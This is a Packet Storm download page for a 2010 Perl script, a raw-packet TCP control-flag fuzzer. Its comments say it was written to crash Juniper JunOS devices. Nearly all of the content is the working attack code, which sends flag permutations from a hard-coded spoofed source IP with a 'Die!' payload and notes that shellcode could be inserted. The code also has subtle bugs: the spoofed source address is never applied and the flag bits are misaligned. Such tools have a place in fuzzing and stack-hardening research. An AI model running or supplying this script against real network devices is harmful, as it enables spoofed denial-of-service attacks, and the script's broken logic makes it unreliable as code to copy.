exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

2^6 TCP Control Bit Fuzzer

2^6 TCP Control Bit Fuzzer
Posted Jan 11, 2010
Authored by ShadowHatesYou

2^6 TCP control bit fuzzer (no ECN or CWR).

tags | tcp, fuzzer
SHA-256 | acfc236162c8e9847ca2d395fb48be29cbbc9dc349fb97ccdf40724996d73882

2^6 TCP Control Bit Fuzzer

Change Mirror Download
#!/usr/bin/perl
#
# 2^6 TCP Control Bit Fuzzer (No ECN or CWR)
#
# This coded was written originally as a control bit fuzzer for the JunOS 3-9 crash mentioned
# in PSN-2010-01-623 and http://www.securityfocus.com/news/11571 however it will also be useful
# in fuzzing future IP stacks, such as userland IP stacks or embedded systems.
#
# Originally it was was going to be the full 2^8, however Net::RawIP does't support the ECE
# or the CWR bit, so I've got a Metasploit auxillery in the works to cover the full 2^8.
#
# I've left the ece/cwr portions commented out, so if in the future Net::RawIP supports these bits,
# all you need to do is uncomment them and change the 65 in the for loop to a 256.
#
# Written by Shadow, 1/08/2010
# ShadowHatesYou @ irc.freenode.net #remote-exploit

use Net::RawIP;

# Set the packet's payload. Shellcode could go here....
my $data = "Die!";

if ($ARGV[1] eq '') { print "Usage: ./" . $0 . " <ip> <port> <optional
sourceip>\n"; exit(0); }
if ($ARGV[2] eq '') { my $src_ip = "72.52.4.181" } else { my $src_ip =
$ARGV[2] }

my $packet = new Net::RawIP({tcp=>{}});
$packet->set({
ip => {
saddr => $src_ip,
daddr => $ARGV[0],
id => 666
}
});
# Build packet $i with TCP control options $i
for (my $i=0; $i < 64; $i++) {
my $packet = new Net::RawIP({tcp=>{}});
# Get our options
my $binary = sprintf("%b", $i);
my @bits = split(//, $binary);
# Set the source and destination IP
$packet->set({
tcp => {
source => $ARGV[1],
dest => $ARGV[1],
data => $data,
syn => @bits[0],
ack => @bits[1],
fin => @bits[2],
rst => @bits[3],
psh => @bits[4],
urg => @bits[5],
# cwr => @bits[6],
# ece => @bits[7]
}
});
# Packets away.
print "Sending packet " . ($i + 1) . " to " . $ARGV[0] . ":" .
$ARGV[1] . " Bits: @bits\n";
$packet->send;
}
exit(0);

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close